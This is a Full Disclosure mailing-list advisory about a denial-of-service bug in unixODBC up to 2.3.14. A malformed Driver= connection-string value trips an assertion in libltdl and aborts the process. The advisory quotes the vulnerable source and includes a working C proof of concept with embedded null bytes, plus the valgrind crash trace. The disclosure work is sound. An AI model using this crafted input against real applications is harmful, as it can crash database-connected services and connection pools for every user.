[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] unixODBC <=2.3.14 Input Validation Causes Downstream Assertion Failure



unixODBC versions <=2.3.14 do not validate the `Driver=` value of a connection 
string before passing it to its bundled dynamic-loading library (`libltdl`).  
When the derived library base name or file name is empty -- for example because 
the value contains an embedded null byte, has a trailing slash, or is empty -- 
an `assert()` is triggered, rather than returning an error, causing the entire 
process to abort.

Impact
An attacker who can influence the `Driver=` value of an Open Database 
Connectivity (ODBC) connection string -- whether through direct input, a 
connection-string injection vector, or a malicious Data Source Name (DSN) 
configuration file -- can reliably crash any application linked against 
unixODBC.  This denial-of-service (DoS) condition only requires ability to 
supply a malformed connection string.  Since the crash occurs via `abort()` 
following a failed assertion, graceful error handling or recovery is impossible 
-- the entire process is terminated unconditionally and immediately, bypassing 
all application-level exception handling, logging, and cleanup routines.  In 
multi-tenant or connection-pooling environments, a single malicious connection 
string brings down the entire pooling service, denying database access to every 
concurrent user and leaving in-flight transactions and resources in an 
inconsistent state.

As an aside, this is why `assert` has always been considered inappropriate for 
production code across all major coding standards and since it was first 
created, although unixODBC should be properly validating the input regardless.

Examples
Code review, and proven via testing, identified multiple distinct use cases, 
each of which triggers the assertion for the same reason -- the memory address 
evaluated by the assertion contains a `null` terminator.  When a trailing slash 
is present, `base_name = strrchr (canonical, '/')` locates the final slash and 
the library increments the `base_name` pointer forward by one byte.  Since a 
trailing slash means the next byte is the string's `null` terminator, the 
safety macro fails.  Alternatively, if the string is completely empty or begins 
with a `null` byte, `strrchr` returns `NULL` and the fallback assignment 
`MEMREASSIGN (base_name, canonical)` sets `base_name` to an empty string, 
similarly failing the `assert (base_name && *base_name)` check and crashing the 
runtime.

```c
/* Try to open FILENAME as a module. */
static int
try_dlopen (lt_dlhandle *phandle, const char *filename, const char *ext,
                    lt_dladvise advise)
{
  const char *    saved_error       = 0;
  char * archive_name = 0;
  char * canonical           = 0;
  char * base_name       = 0;
  char * dir                          = 0;
  char * name                    = 0;
  char *        attempt                        = 0;
  int                        errors                   = 0;
  lt_dlhandle      newhandle;

  assert (phandle);
  assert (*phandle == 0);

#ifdef LT_DEBUG_LOADERS
  fprintf (stderr, "try_dlopen (%s, %s)\n",
                   filename ? filename : "(null)",
                   ext ? ext : "(null)");
#endif

  LT__GETERROR (saved_error);

  /* dlopen self? */
  if (!filename)
    {
      *phandle = (lt_dlhandle) lt__zalloc (sizeof (struct lt__handle));
      if (*phandle == 0)
                return 1;

      newhandle  = *phandle;

      /* lt_dlclose()ing yourself is very bad!  Disallow it.  */
      newhandle->info.is_resident = 1;

      if (tryall_dlopen (&newhandle, 0, advise, 0) != 0)
                {
                  FREE (*phandle);
                  return 1;
                }

      goto register_handle;
    }

  assert (filename && *filename);

  if (ext)
    {
      attempt = MALLOC (char, LT_STRLEN (filename) + LT_STRLEN (ext) + 1);
      if (!attempt)
                return 1;

      sprintf(attempt, "%s%s", filename, ext);
    }
  else
    {
      attempt = lt__strdup (filename);
      if (!attempt)
                return 1;
    }

  /* Doing this immediately allows internal functions to safely
     assume only canonicalized paths are passed.  */
  if (canonicalize_path (attempt, &canonical) != 0)
    {
      ++errors;
      goto cleanup;
    }

  /* If the canonical module name is a path (relative or absolute)
     then split it into a directory part and a name part.  */
  base_name = strrchr (canonical, '/');
  if (base_name)
    {
      size_t dirlen = (1+ base_name) - canonical;

      dir = MALLOC (char, 1+ dirlen);
      if (!dir)
                {
                  ++errors;
                  goto cleanup;
                }

      strlcpy (dir, canonical, dirlen);
      dir[dirlen] = LT_EOS_CHAR;

      ++base_name;
    }
  else
    MEMREASSIGN (base_name, canonical);

  assert (base_name && *base_name);
```
Code snippet from `libltdl`'s libltdl/ltdl.c, lines 1157-1251

```c
static void *odbc_dlopen( char *libname, char **err )
{
    void *hand;
    struct lib_count *list;

    mutex_lib_entry();

    /*
     * have we already got it ?
     */

    list = lib_list;
    while( list )
    {
        if ( strcmp( list -> lib_name, libname ) == 0 )
        {
            break;
        }

        list = list -> next;
    }

    if ( list )
    {
        list -> count ++;
        hand = list -> handle;
    }
    else
    {
        hand = lt_dlopen( libname );
```
Code from `unixODBC`'s DriverManager/SQLConnect.c, lines 811-840

```bash
cat > /tmp/repro_browse.c << 'EOF'
#include <sql.h>
#include <sqlext.h>
#include <string.h>

int main(void) {
    SQLHENV hEnv;
    SQLHDBC hDbc;
    SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &hEnv);
    SQLSetEnvAttr(hEnv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);
    SQLAllocHandle(SQL_HANDLE_DBC, hEnv, &hDbc);

    /* Connection string with null bytes embedded in the Driver value */
    char connStr[] = "Driver={/\x00\x00\x00\x00\x00\x00\x00\x00"
                     "opt/amazon/redshifto"
                     "Amazon Redshift ODBC }\x00\x00\x00\x00"
                     "x64)};Server=host;Port=5439;"
                     "UID=u;PWD=p;LoginTimeout=5;";
    SQLCHAR outBuf[1024];
    SQLSMALLINT outLen;

    /* This call aborts the process via libltdl's try_dlopen() assertion */
    SQLDriverConnect(hDbc, NULL,
                     (SQLCHAR *)connStr, (SQLSMALLINT)(sizeof(connStr) - 1),
                     outBuf, sizeof(outBuf), &outLen,
                     SQL_DRIVER_NOPROMPT);

    SQLFreeHandle(SQL_HANDLE_DBC, hDbc);
    SQLFreeHandle(SQL_HANDLE_ENV, hEnv);
    return 0;
}
EOF
gcc -g -O0 -o /tmp/repro_browse /tmp/repro_browse.c -lodbc
valgrind --tool=memcheck --track-origins=yes /tmp/repro_browse
```
Code to elicit the crash

```text
repro_browse: ltdl.c:1251: try_dlopen: Assertion `base_name && *base_name' 
failed.
==1242142==
==1242142== Process terminating with default action of signal 6 (SIGABRT): 
dumping core
==1242142==    at 0x498C02C: __pthread_kill_implementation (in 
/usr/lib64/libc.so.6)
==1242142==    by 0x493EB85: raise (in /usr/lib64/libc.so.6)
==1242142==    by 0x4928872: abort (in /usr/lib64/libc.so.6)
==1242142==    by 0x492879A: __assert_fail_base.cold (in /usr/lib64/libc.so.6)
==1242142==    by 0x49378C5: __assert_fail (in /usr/lib64/libc.so.6)
==1242142==    by 0x48D0845: try_dlopen (ltdl.c:1251)
==1242142==    by 0x48D15DA: lt_dlopenadvise (ltdl.c:1671)
==1242142==    by 0x48D14C4: lt_dlopen (ltdl.c:1626)
==1242142==    by 0x486B76A: odbc_dlopen (SQLConnect.c:842)
==1242142==    by 0x486C048: __connect_part_one (SQLConnect.c:1182)
==1242142==    by 0x4877DCF: SQLDriverConnect (SQLDriverConnect.c:1410)
==1242142==    by 0x4012C3: main (repro_browse.c:21)
==1242142==
==1242142== HEAP SUMMARY:
==1242142==     in use at exit: 73,962 bytes in 26 blocks
==1242142==   total heap usage: 188 allocs, 162 frees, 181,146 bytes allocated
==1242142==
==1242142== LEAK SUMMARY:
==1242142==    definitely lost: 0 bytes in 0 blocks
==1242142==    indirectly lost: 0 bytes in 0 blocks
==1242142==      possibly lost: 0 bytes in 0 blocks
==1242142==    still reachable: 73,962 bytes in 26 blocks
==1242142==         suppressed: 0 bytes in 0 blocks
==1242142== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
```
Output from Valgrind, reproduced independently under AddressSanitizer
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/